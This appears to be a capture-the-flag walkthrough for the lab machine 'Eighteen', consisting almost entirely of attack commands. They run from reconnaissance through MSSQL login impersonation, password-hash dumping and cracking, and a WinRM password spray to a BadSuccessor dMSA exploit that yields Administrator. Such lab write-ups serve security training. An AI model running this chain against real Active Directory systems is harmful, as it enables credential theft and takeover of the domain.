Eighteen

Full service-version scan across expected AD and web ports.

$ nmap -Pn -sV -p 53,80,88,135,139,389,443,445,464,593,636,1433,3268,3269,5985 $TARGET

Resolve the discovered virtual host locally.

$ echo "$TARGET eighteen.htb" | sudo tee -a /etc/hosts

Directory fuzz with correct Host header and size filter; without the filter, IIS returns near-identical soft-404 bodies for every path.

$ ffuf -u http://$TARGET/FUZZ -H 'Host: eighteen.htb' -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -fs 207

Validate SQL auth credential; --local-auth forces SQL login and bypasses Kerberos.

$ nxc mssql $TARGET -u kevin -p "$PASSWORD" --local-auth

Open an interactive MSSQL session as kevin (omit -windows-auth to use SQL login mode).

$ impacket-mssqlclient "kevin:$PASSWORD@$TARGET"

Run inside the mssqlclient session to enumerate which logins hold IMPERSONATE rights.

$ SELECT p.permission_name, g.name AS grantee, t.name AS target_login FROM sys.server_permissions p JOIN sys.server_principals g ON p.grantee_principal_id = g.principal_id JOIN sys.server_principals t ON p.major_id = t.principal_id WHERE p.type = 'IM';

Switch to the appdev security context; SYSTEM_USER confirms the pivot succeeded.

$ EXECUTE AS LOGIN = 'appdev'; SELECT SYSTEM_USER;

Switch to the application database, now accessible under appdev's context.

$ USE financial_planner;

Run inside the financial_planner DB session; copy the admin row's password_hash value.

$ SELECT id, username, email, password_hash, is_admin FROM users ORDER BY id;

Mode 30120 targets Werkzeug PBKDF2-HMAC-SHA256. Populate /tmp/admin_hash.txt with the extracted hash string.

$ hashcat -m 30120 /tmp/admin_hash.txt /usr/share/wordlists/rockyou.txt --show

Spray the cracked password across all enumerated domain usernames over WinRM.

$ printf '%s\n' jamie.dunn jane.smith alice.jones adam.scott bob.brown carol.white dave.green mssqlsvc > /tmp/users.txt && nxc winrm $TARGET -d eighteen.htb -u /tmp/users.txt -p "$PASSWORD3" --continue-on-success 2>&1 | tee /tmp/winrm_spray.log

Open an interactive PowerShell session on DC01 as adam.scott.

$ evil-winrm -i $TARGET -u adam.scott -p "$PASSWORD3" -d eighteen.htb

Capture the user flag; actual value is <user.txt>.

$ type C:\Users\adam.scott\Desktop\user.txt

Run in the evil-winrm PowerShell session to find all dMSA objects in the domain.

$ Get-ADObject -Filter {ObjectClass -eq 'msDS-DelegatedManagedServiceAccount'} -Properties * | Select-Object Name,SamAccountName,DistinguishedName,Enabled

Inspect all attributes of the discovered dMSA, including msDS-ManagedAccountPrecededByLink.

$ Get-ADObject -Identity 'CN=dmsa022005,OU=Staff,DC=eighteen,DC=htb' -Properties * | Format-List

Obtain a Kerberos TGT for adam.scott from Kali; required before the -k flag in getST.py.

$ getTGT.py "eighteen.htb/adam.scott:$PASSWORD3" -dc-ip $TARGET

Point Impacket's Kerberos stack at adam.scott's TGT.

$ export KRB5CCNAME=adam.scott.ccache

BadSuccessor exploit: request a Kerberos service ticket via dmsa022005$ carrying Administrator's PAC entries. Requires write access to the dMSA object — held by adam.scott as a Pwn3d domain account.

$ getST.py -k -no-pass -impersonate Administrator -self -dmsa 'dmsa022005$' -dc-ip $TARGET 'eighteen.htb/adam.scott'

Switch the credential context to the newly obtained Administrator ticket.

$ export KRB5CCNAME='Administrator@eighteen.htb.ccache'

Open a SYSTEM-equivalent WinRM shell using the impersonated Administrator Kerberos ticket.

$ evil-winrm -i $TARGET -r eighteen.htb

Capture the root flag; actual value is <root.txt>.

$ type C:\Users\Administrator\Desktop\root.txt